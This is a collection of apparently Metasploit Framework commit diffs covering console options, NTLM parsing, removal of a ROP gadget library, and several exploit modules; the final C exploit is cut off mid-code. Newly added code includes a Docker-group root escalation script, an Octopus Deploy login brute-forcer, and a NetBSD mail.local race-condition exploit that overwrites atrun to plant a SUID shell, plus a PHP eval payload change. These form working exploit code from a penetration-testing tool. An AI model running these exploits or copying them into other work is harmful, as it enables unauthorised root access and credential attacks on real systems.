client.fs.dir.download( dest, source, true, true ) { |step, src, dst|
client.fs.dir.download( dest, source, {"recursive" => true}, true ) { |step, src, dst|
print_line( "#{step.ljust(11)} : #{src} -> #{dst}" )
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
}

View File

@ -24,6 +24,8 @@ class Console::CommandDispatcher::Stdapi::Fs
#
@@download_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-c" => [ false, "Resume getting a partially-downloaded file." ],
"-l" => [ true, "Set the limit of retries (0 unlimits)." ],
"-r" => [ false, "Download recursively." ],
"-t" => [ false, "Timestamp downloaded files." ])
#
@ -37,7 +39,7 @@ class Console::CommandDispatcher::Stdapi::Fs
#
@@ls_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner." ],
"-S" => [ true, "Search string." ],
"-S" => [ true, "Search string." ],
"-t" => [ false, "Sort by time" ],
"-s" => [ false, "Sort by size" ],
"-r" => [ false, "Reverse sort order" ],
@ -64,7 +66,7 @@ class Console::CommandDispatcher::Stdapi::Fs
'mkdir' => 'Make directory',
'pwd' => 'Print working directory',
'rm' => 'Delete the specified file',
'mv' => 'Move source to destination',
'mv' => 'Move source to destination',
'rmdir' => 'Remove directory',
'search' => 'Search for files',
'upload' => 'Upload a file or directory',
@ -333,17 +335,29 @@ class Console::CommandDispatcher::Stdapi::Fs
end
recursive = false
timestamp = false
src_items = []
last = nil
dest = nil
continue = false
tries = false
tries_no = 0
opts = {}
@@download_opts.parse(args) { |opt, idx, val|
case opt
when "-r"
recursive = true
opts['recursive'] = true
when "-c"
continue = true
opts['continue'] = true
when "-l"
tries = true
tries_no = val.to_i
opts['tries'] = true
opts['tries_no'] = tries_no
when "-t"
timestamp = true
opts['timestamp'] = '_' + Time.now.iso8601
when nil
src_items << last if (last)
last = val
@ -371,10 +385,6 @@ class Console::CommandDispatcher::Stdapi::Fs
dest = ::File.dirname(dest)
end
if timestamp
ts = '_' + Time.now.iso8601
end
# Go through each source item and download them
src_items.each { |src|
glob = nil
@ -397,7 +407,7 @@ class Console::CommandDispatcher::Stdapi::Fs
src_path = file['path'] + client.fs.file.separator + file['name']
dest_path = src_path.tr(src_separator, ::File::SEPARATOR)
client.fs.file.download(dest_path, src_path, ts) do |step, src, dst|
client.fs.file.download(dest_path, src_path, opts) do |step, src, dst|
print_status("#{step.ljust(11)}: #{src} -> #{dst}")
client.framework.events.on_session_download(client, src, dest) if msf_loaded?
end
@ -409,14 +419,27 @@ class Console::CommandDispatcher::Stdapi::Fs
else
# Perform direct matching
stat = client.fs.file.stat(src)
tries_cnt = 0
begin
stat = client.fs.file.stat(src)
rescue Rex::TimeoutError
if (tries && (tries_no == 0 || tries_cnt < tries_no))
tries_cnt += 1
print_error("Error opening: #{src} - retry (#{tries_cnt})")
retry
else
print_error("Error opening: #{src} - giving up")
raise
end
end
if (stat.directory?)
client.fs.dir.download(dest, src, recursive, true, glob, ts) do |step, src, dst|
client.fs.dir.download(dest, src, opts, true, glob) do |step, src, dst|
print_status("#{step.ljust(11)}: #{src} -> #{dst}")
client.framework.events.on_session_download(client, src, dest) if msf_loaded?
end
elsif (stat.file?)
client.fs.file.download(dest, src, ts) do |step, src, dst|
client.fs.file.download(dest, src, opts) do |step, src, dst|
print_status("#{step.ljust(11)}: #{src} -> #{dst}")
client.framework.events.on_session_download(client, src, dest) if msf_loaded?
end

View File

@ -840,7 +840,6 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
flags: ntlmssp_flags
)
blob = @ntlm_client.init_context.serialize
native_data = ''
@ -901,6 +900,14 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# Save the temporary UserID for use in the next request
temp_user_id = ack['Payload']['SMB'].v['UserID']
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(blob)
#netbios name
self.default_name = blob_data[:default_name] || ''
#dns name
self.dns_host_name = blob_data[:dns_host_name] || ''
#dns domain
self.dns_domain_name = blob_data[:dns_domain_name] || ''
type3 = @ntlm_client.init_context([blob].pack('m'))
type3_blob = type3.serialize
self.signing_key = @ntlm_client.session_key

View File

@ -1,8 +0,0 @@
# -*- coding: binary -*-
module Rex
module RopBuilder
require 'rex/ropbuilder/rop'
require 'metasm'
end
end

View File

@ -1,271 +0,0 @@
# -*- coding: binary -*-
require 'metasm'
require 'rex/compat'
require 'rex/text/table'
require 'rex/ui/text/output/stdio'
require 'rex/text/color'
module Rex
module RopBuilder
class RopBase
def initialize()
@stdio = Rex::Ui::Text::Output::Stdio.new
@gadgets = []
end
def to_csv(gadgets = [])
if gadgets.empty? and @gadgets.nil? or @gadgets.empty?
@stdio.print_error("No gadgets collected to convert to CSV format.")
return
end
# allow the users to import gadget collections from multiple files
if @gadgets.empty? or @gadgets.nil?
@gadgets = gadgets
end
table = Rex::Text::Table.new(
'Header' => "#{@file} ROP Gadgets",
'Indent' => 1,
'Columns' =>
[
"Address",
"Raw",
"Disassembly",
])
@gadgets.each do |gadget|
table << [gadget[:address], gadget[:raw].unpack('H*')[0], gadget[:disasm].gsub(/\n/, ' | ')]
end
return table.to_csv
end
def import(file)
begin
data = File.new(file, 'r').read
rescue
@stdio.print_error("Error reading #{file}")
return []
end
if data.empty? or data.nil?
return []
end
data.gsub!(/\"/, '')
data.gsub!("Address,Raw,Disassembly\n", '')
@gadgets = []
data.each_line do |line|
addr, raw, disasm = line.split(',', 3)
if addr.nil? or raw.nil? or disasm.nil?
@stdio.print_error("Import file format corrupted")
return []
end
disasm.gsub!(/: /, ":\t")
disasm.gsub!(' | ', "\n")
raw = [raw].pack('H*')
@gadgets << {:file => file, :address => addr, :raw => raw, :disasm => disasm.chomp!}
end
@gadgets
end
def print_msg(msg, color=true)
if not @stdio
@stdio = Rex::Ui::Text::Output::Stdio.new
end
if color == true
@stdio.auto_color
else
@stdio.disable_color
end
@stdio.print_raw(@stdio.substitute_colors(msg))
end
end
class RopCollect < RopBase
def initialize(file="")
@stdio = Rex::Ui::Text::Output::Stdio.new
@file = file if not file.empty?
@bin = Metasm::AutoExe.decode_file(file) if not file.empty?
@disassembler = @bin.disassembler if not @bin.nil?
if @disassembler
@disassembler.cpu = Metasm::Ia32.new('386_common')
end
super()
end
def collect(depth, pattern)
matches = []
gadgets = []
# find matches by scanning for the pattern
matches = @disassembler.pattern_scan(pattern)
if @bin.kind_of?(Metasm::PE)
@bin.sections.each do |section|
next if section.characteristics.include? 'MEM_EXECUTE'
# delete matches if the address is outside the virtual address space
matches.delete_if do |ea|
va = section.virtaddr + @bin.optheader.image_base
ea >= va and ea < va + section.virtsize
end
end
elsif @bin.kind_of?(Metasm::ELF)
@bin.segments.each do |seg|
next if seg.flags.include? 'X'
matches.delete_if do |ea|
ea >= seg.vaddr and ea < seg.vaddr + seg.memsz
end
end
elsif @bin.kind_of?(Metasm::MachO)
@bin.segments.each do |seg|
next if seg.initprot.include? 'EXECUTE'
matches.delete_if do |ea|
ea >= seg.virtaddr and ea < seg.virtaddr + seg.filesize
end
end
end
gadgets = process_gadgets(matches, depth)
gadgets.each do |gadget|
@gadgets << gadget
end
gadgets
end
def pattern_search(pattern)
p = Regexp.new("(" + pattern + ")")
matches = []
@gadgets.each do |gadget|
disasm = ""
addrs = []
gadget[:disasm].each_line do |line|
addr, asm = line.split("\t", 2)
addrs << addr
disasm << asm
end
if gadget[:raw] =~ p or gadget[:disasm] =~ p or disasm =~ p
matches << {:gadget => gadget, :disasm => disasm, :addrs => addrs}
end
end
matches.each do |match|
@stdio.print_status("gadget with address: %bld%cya#{match[:gadget][:address]}%clr matched")
color_pattern(match[:gadget], match[:disasm], match[:addrs], p)
end
matches
end
def color_pattern(gadget, disasm, addrs, p)
idx = disasm.index(p)
if idx.nil?
print_msg(gadget[:disasm])
return
end
disasm = disasm.insert(idx, "%bld%grn")
asm = ""
cnt = 0
colors = false
disasm.each_line do |line|
# if we find this then we are in the matching area
if line.index(/\%bld\%grn/)
colors = true
end
asm << "%clr" + addrs[cnt] + "\t"
# color the remaining parts of the gadget
if colors and line.index("%bld%grn").nil?
asm << "%bld%grn" + line
else
asm << line
end
cnt += 1
end
asm << "%clr\n"
print_msg(asm)
end
def process_gadgets(rets, num)
ret = {}
gadgets = []
tmp = []
rets.each do |ea|
insn = @disassembler.disassemble_instruction(ea)
next if not insn
xtra = insn.bin_length
num.downto(0) do |x|
addr = ea - x
# get the disassembled instruction at this address
di = @disassembler.disassemble_instruction(addr)
# skip invalid instructions
next if not di
next if di.opcode.props[:setip]
next if di.opcode.props[:stopexec]
# get raw bytes
buf = @disassembler.read_raw_data(addr, x + xtra)
# make sure disassembling forward leads to our instruction
next if not ends_with_addr(buf, addr, ea)
dasm = ""
while addr <= ea
di = @disassembler.disassemble_instruction(addr)
dasm << ("0x%08x:\t" % addr) + di.instruction.to_s + "\n"
addr = addr + di.bin_length
end
if not tmp.include?(ea)
tmp << ea
else
next
end
# otherwise, we create a new tailchunk and add it to the list
ret = {:file => @file, :address => ("0x%08x" % (ea - x)), :raw => buf, :disasm => dasm}
gadgets << ret
end
end
gadgets
end
private
def ends_with_addr(raw, base, addr)
dasm2 = Metasm::Shellcode.decode(raw, @disassembler.cpu).disassembler
offset = 0
while ((di = dasm2.disassemble_instruction(offset)))
return true if (base + offset) == addr
return false if di.opcode.props[:setip]
return false if di.opcode.props[:stopexec]
offset = di.next_addr
end
false
end
def raw_instructions(raw)
insns = []
d2 = Metasm::Shellcode.decode(raw, @disassembler.cpu).disassembler
addr = 0
while ((di = d2.disassemble_instruction(addr)))
insns << di.instruction
addr = di.next_addr
end
insns
end
end
end
end

View File

@ -32,7 +32,6 @@ Gem::Specification.new do |spec|
spec.executables = [
'msfconsole',
'msfd',
'msfrop',
'msfrpc',
'msfrpcd',
'msfupdate',
@ -142,6 +141,10 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rex-socket'
# Library for scanning a server's SSL/TLS capabilities
spec.add_runtime_dependency 'rex-sslscan'
# Library and tool for finding ROP gadgets in a supplied binary
spec.add_runtime_dependency 'rex-rop_builder'
# Library for polymorphic encoders; used for payload encoding
spec.add_runtime_dependency 'rex-encoder'
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
# NoMethodError undefined method `dlopen' for Fiddle:Module

View File

@ -13,8 +13,8 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
'Description' => %q{
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
'Description' => %q{
This module tests whether a directory traversal vulnerablity is present
in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0
- 6.0.16 under specific and non-default installations. The connector must have
@ -25,15 +25,16 @@ class MetasploitModule < Msf::Auxiliary
RedHat 9 running Tomcat 6.0.16 and Sun JRE 1.5.0-05. You may wish to change
FILE (hosts,sensitive files), MAXDIRS and RPORT depending on your environment.
},
'References' =>
'References' =>
[
[ 'URL', 'http://tomcat.apache.org/' ],
[ 'OSVDB', '47464' ],
[ 'CVE', '2008-2938' ],
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
],
'Author' => [ 'patrick','guerrino <ruggine> di massa' ],
'License' => MSF_LICENSE
'Author' => [ 'patrick','guerrino <ruggine> di massa' ],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Jan 9 2009'
)
register_options(

View File

@ -12,8 +12,8 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',
'Description' => %q{
'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',
'Description' => %q{
This module tests whether a directory traversal vulnerablity is present
in Trend Micro DLP (Data Loss Prevention) Appliance v5.5 build <= 1294.
The vulnerability appears to be actually caused by the Tomcat UTF-8
@ -22,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary
Note that in the Trend Micro appliance, /etc/shadow is not used and therefore
password hashes are stored and anonymously accessible in the passwd file.
},
'References' =>
'References' =>
[
[ 'URL', 'http://tomcat.apache.org/' ],
[ 'OSVDB', '47464' ],
@ -32,8 +32,9 @@ class MetasploitModule < Msf::Auxiliary
[ 'EDB', '17388' ],
[ 'BID', '48225' ],
],
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Jan 9 2009'
)
register_options(

View File

@ -30,7 +30,10 @@ Windows and Linux.
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
[ 'CVE', '2016-6601'],
[ 'CVE', '2016-6602'],
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2016/Aug/54' ]
],
'DisclosureDate' => 'Jul 4 2016'
)

View File

@ -31,7 +31,9 @@ Windows and Linux.
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
[ 'CVE', '2016-6601'],
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2016/Aug/54' ]
],
'DisclosureDate' => 'Jul 4 2016'
)

View File

@ -0,0 +1,77 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/octopusdeploy'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Octopus Deploy Login Utility',
'Description' => %q{
This module simply attempts to login to a Octopus Deploy server using a specific
username and password. It has been confirmed to work on version 3.4.4
},
'Author' => [ 'James Otten <jamesotten1[at]gmail.com>' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'URI for login. Default is /api/users/login', '/api/users/login'])
], self.class)
end
def run_host(ip)
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
scanner = Metasploit::Framework::LoginScanner::OctopusDeploy.new(
configure_http_login_scanner(
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 10,
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword'],
uri: datastore['TARGETURI']
)
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
end
end
end
end

View File

@ -5,10 +5,10 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SSH
include Msf::Exploit::Remote::Fortinet
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::SSH
def initialize(info = {})
super(update_info(info,
@ -43,11 +43,14 @@ class MetasploitModule < Msf::Auxiliary
def run_host(ip)
factory = ssh_socket_factory
ssh_opts = {
port: rport,
auth_methods: ['fortinet-backdoor'],
proxy: factory,
non_interactive: true
port: rport,
auth_methods: ['fortinet-backdoor'],
non_interactive: true,
config: false,
use_agent: false,
proxy: factory
}
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

View File

@ -0,0 +1,75 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info, {
'Name' => 'Docker Daemon Privilege Escalation',
'Description' => %q{
This module obtains root privileges from any host account with access to the
Docker daemon. Usually this includes accounts in the `docker` group.
},
'License' => MSF_LICENSE,
'Author' => ['forzoni'],
'DisclosureDate' => 'Jun 28 2016',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],
'Targets' => [ ['Automatic', {}] ],
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 },
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultTarget' => 0
}
))
register_advanced_options([
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
], self.class)
end
def check
if cmd_exec('docker ps && echo true') == 'true'
print_error("Failed to access Docker daemon.")
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Vulnerable
end
end
def exploit
pl = generate_payload_exe
exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}"
print_status("Writing payload executable to '#{exe_path}'")
write_file(exe_path, pl)
register_file_for_cleanup(exe_path)
print_status("Executing script to create and run docker container")
vprint_status cmd_exec("chmod +x #{exe_path}")
vprint_status shell_script(exe_path)
vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")
print_status "Waiting #{datastore['WfsDelay']}s for payload"
end
def shell_script(exploit_path)
deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]
dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")
%Q{
IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`
EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
docker rmi -f $IMG
#{exploit_path}
}.strip.split("\n").map(&:strip).join(';')
end
end

View File

@ -123,7 +123,7 @@ class MetasploitModule < Msf::Exploit::Remote
#we use SRVHOST as download IP for the coming wget command.
#SRVHOST needs a real IP address of our download host
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end

View File

@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true
'SSL' => true
}
))
@ -119,12 +119,15 @@ class MetasploitModule < Msf::Exploit::Remote
def ssh_login
factory = ssh_socket_factory
ssh_opts = {
port: datastore['SSH_PORT'],
auth_methods: %w{publickey password},
key_data: [private_key],
proxy: factory,
non_interactive: true
port: datastore['SSH_PORT'],
auth_methods: %w{publickey password},
key_data: [private_key],
non_interactive: true,
config: false,
use_agent: false,
proxy: factory
}
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

View File

@ -67,6 +67,10 @@ class MetasploitModule < Msf::Exploit::Remote
headers = {}
headers['Cookie'] = "JSESSIONID=#{session}" unless session.blank?
headers['Content-Type'] = ctype if ctype
headers['Connection'] = 'keep-alive'
headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
headers['Accept-Language'] = 'en-US,en;q=0.5'
headers['Accept-Encoding'] = 'gzip, deflate, br'
res = send_request_raw({
'uri' => path,
@ -475,6 +479,39 @@ class MetasploitModule < Msf::Exploit::Remote
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
format(boundary,"form:other:psection:descriptionProp:description", ""),
format(boundary,"form:other:psection:librariesProp:library", ""),
format(boundary,"form:other:psection:deploymentOrder:deploymentOrder", ""),
format(boundary,"form:other:psection:implicitCdi:implicitCdi", "true"),
format(boundary,"form:other:psection:enableProp:sun_checkbox44","true"),
format(boundary,"form:war:psection:enableProp:sun_checkbox42","true"),
format(boundary,"form:other:psection:vsProp:vs",""),
format(boundary,"form:rar:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:rar:psection:deploymentOrder:deploymentOrder",""),
format(boundary,"form:rar:psection:enableProp:sun_checkbox40","true"),
format(boundary,"form:other:psection:nameProp:appName", app_base),
format(boundary,"form:rar:psection:nameProp:appName", app_base),
format(boundary,"form:jar:psection:nameProp:appName", app_base),
format(boundary,"form:ear:psection:nameProp:appName", app_base),
format(boundary,"form:ear:psection:descriptionProp:description",""),
format(boundary,"form:jar:psection:deploymentOrder:deploymentOrder", ""),
format(boundary,"form:jar:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:ear:psection:jw:jwc","true"),
format(boundary,"form:ear:psection:vsProp:vs",""),
format(boundary,"form:appClient:psection:deploymentOrder:deploymentOrder",""),
format(boundary,"form:jar:psection:enableProp:sun_checkbox38","true"),
format(boundary,"form:jar:psection:descriptionProp:description", ""),
format(boundary,"form:ear:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:appClient:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:ear:psection:enableProp:sun_checkbox36","true"),
format(boundary,"form:war:psection:deploymentOrder:deploymentOrder",""),
format(boundary,"form:jar:psection:librariesProp:library",""),
format(boundary,"form:appClient:psection:jw:jwt","true"),
format(boundary,"form:ear:psection:librariesProp:library", ""),
format(boundary,"form:sheet1:sun_propertySheetSection23:type:appType","war"),
format(boundary,"form:ear:psection:deploymentOrder:deploymentOrder",""),
format(boundary,"form:rar:psection:descriptionProp:description",""),
format(boundary,"form:war:psection:implicitCdi:implicitCdi","true"),
format(boundary,"form:war:psection:librariesProp:library"),
format(boundary,"form:war:psection:descriptionProp:description"),
format(boundary,"form_hidden","form_hidden"),
@ -499,7 +536,6 @@ class MetasploitModule < Msf::Exploit::Remote
end
def get_viewstate(body)
@vewstate ||= lambda {
noko = Nokogiri::HTML(body)
inputs = noko.search('input')
hidden_inputs = []
@ -511,7 +547,6 @@ class MetasploitModule < Msf::Exploit::Remote
end
''
}.call
end
#
@ -587,7 +622,7 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_glassfish_request(path, @verbs['POST'], session, post_data, ctype)
# Print upload result
if res.code == 302
if res && res.code == 302
print_status("Successfully uploaded")
else
print_error("Error uploading #{res.code}")

View File

@ -32,21 +32,11 @@ class MetasploitModule < Msf::Exploit::Remote
[ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 200,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'Platform' => %w{ unix win },
'Arch' => ARCH_CMD,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Phoenix Exploit Kit / Unix', { 'Platform' => 'unix' } ],
[ 'Phoenix Exploit Kit / Windows', { 'Platform' => 'win' } ]
[ 'Automatic', {} ]
],
'DisclosureDate' => 'Jul 01 2016',
'DefaultTarget' => 0))
@ -59,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote
def check
test = Rex::Text.rand_text_alpha(8)
res = http_send_command("echo #{test};")
res = http_send_command("echo \"#{test}\";")
if res && res.body.include?(test)
return Exploit::CheckCode::Vulnerable
end
@ -68,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
encoded = Rex::Text.encode_base64(payload.encoded)
http_send_command("passthru(base64_decode(\"#{encoded}\"));")
http_send_command("eval(base64_decode(\"#{encoded}\"));")
end
def http_send_command(cmd)

View File

@ -33,7 +33,9 @@ Windows and Linux.
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
[ 'CVE', '2016-6600'],
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2016/Aug/54' ]
],
'DefaultOptions' => { 'WfsDelay' => 15 },
'Privileged' => false,

View File

@ -16,11 +16,11 @@ class MetasploitModule < Msf::Exploit::Local
super(update_info(info,
'Name' => 'Chkrootkit Local Privilege Escalation',
'Description' => %q{
Chkrootkit before 0.50 will run any executable file named
/tmp/update as root, allowing a trivial privsec.
Chkrootkit before 0.50 will run any executable file named /tmp/update
as root, allowing a trivial privilege escalation.
WfsDelay is set to 24h, since this is how often a chkrootkit
scan is scheduled by default.
WfsDelay is set to 24h, since this is how often a chkrootkit scan is
scheduled by default.
},
'Author' => [
'Thomas Stangner', # Original exploit

View File

@ -0,0 +1,330 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'NetBSD mail.local Privilege Escalation',
'Description' => %q{
This module attempts to exploit a race condition in mail.local with SUID bit set on:
NetBSD 7.0 - 7.0.1 (verified on 7.0.1)
NetBSD 6.1 - 6.1.5
NetBSD 6.0 - 6.0.6
Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # Module
'akat1' # Discovery
],
'DisclosureDate' => 'Jul 07 2016',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w{shell meterpreter},
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic openssl'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 603 }, #can take 10min for cron to kick
'References' =>
[
[ "URL", "http://akat1.pl/?id=2"],
[ "EDB", "40141"],
[ "CVE", "2016-6253"],
[ "URL", "http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc"]
]
))
register_options([
OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),
OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603])
], self.class)
end
def exploit
# lots of this file's format is based on pkexec.rb
# direct copy of code from exploit-db
main = %q{
// Source: http://akat1.pl/?id=2
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>
#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"
static int
overwrite_atrun(void)
{
char *script = "#! /bin/sh\n"
"cp /bin/ksh /tmp/ksh\n"
"chmod +s /tmp/ksh\n";
size_t size;
FILE *fh;
int rv = 0;
fh = fopen(ATRUNPATH, "wb");
if (fh == NULL) {
rv = -1;
goto out;
}
size = strlen(script);
if (size != fwrite(script, 1, strlen(script), fh)) {
rv = -1;
goto out;
}
out:
if (fh != NULL && fclose(fh) != 0)
rv = -1;
return rv;
}
static int
copy_file(const char *from, const char *dest, int create)
{
char buf[1024];
FILE *in = NULL, *out = NULL;
size_t size;
int rv = 0, fd;
in = fopen(from, "rb");
if (create == 0)
out = fopen(dest, "wb");
else {
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);
if (fd == -1) {
rv = -1;
goto out;
}
out = fdopen(fd, "wb");
}
if (in == NULL || out == NULL) {
rv = -1;
goto out;
}
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
if (fwrite(&buf, 1, size, in) != 0) {
rv = -1;
goto out;
}
}
out:
if (in != NULL && fclose(in) != 0)
rv = -1;
if (out != NULL && fclose(out) != 0)
rv = -1;
return rv;
}
int
main()
{
pid_t pid;
uid_t uid;
struct stat sb;
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
umask(0077);
login = getlogin();
if (login == NULL)
err(EXIT_FAILURE, "who are you?");
uid = getuid();
asprintf(&mailbox, MAILDIR "/%s", login);
if (mailbox == NULL)
err(EXIT_FAILURE, NULL);
if (access(mailbox, F_OK) != -1) {
/* backup mailbox */
asprintf(&mailbox_backup, "/tmp/%s", login);
if (mailbox_backup == NULL)
err(EXIT_FAILURE, NULL);
}
if (mailbox_backup != NULL) {
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup);
if (copy_file(mailbox, mailbox_backup, 1))
err(EXIT_FAILURE, "[-] failed");
}
/* backup atrun(1) */
atrun_backup = strdup("/tmp/atrun");
if (atrun_backup == NULL)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup);
if (copy_file(ATRUNPATH, atrun_backup, 1))
err(EXIT_FAILURE, "[-] failed");
/* win the race */
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
switch (pid = fork()) {
case -1:
err(EXIT_FAILURE, NULL);
/* NOTREACHED */
case 0:
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
"2> /dev/null", login);
for(;;)
system(buf);
/* NOTREACHED */
default:
umask(0022);
for(;;) {
int fd;
unlink(mailbox);
symlink(ATRUNPATH, mailbox);
sync();
unlink(mailbox);
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
close(fd);
sync();
if (lstat(ATRUNPATH, &sb) == 0) {
if (sb.st_uid == uid) {
kill(pid, 9);
fprintf(stderr, "[+] won race!\n");
break;
}
}
}
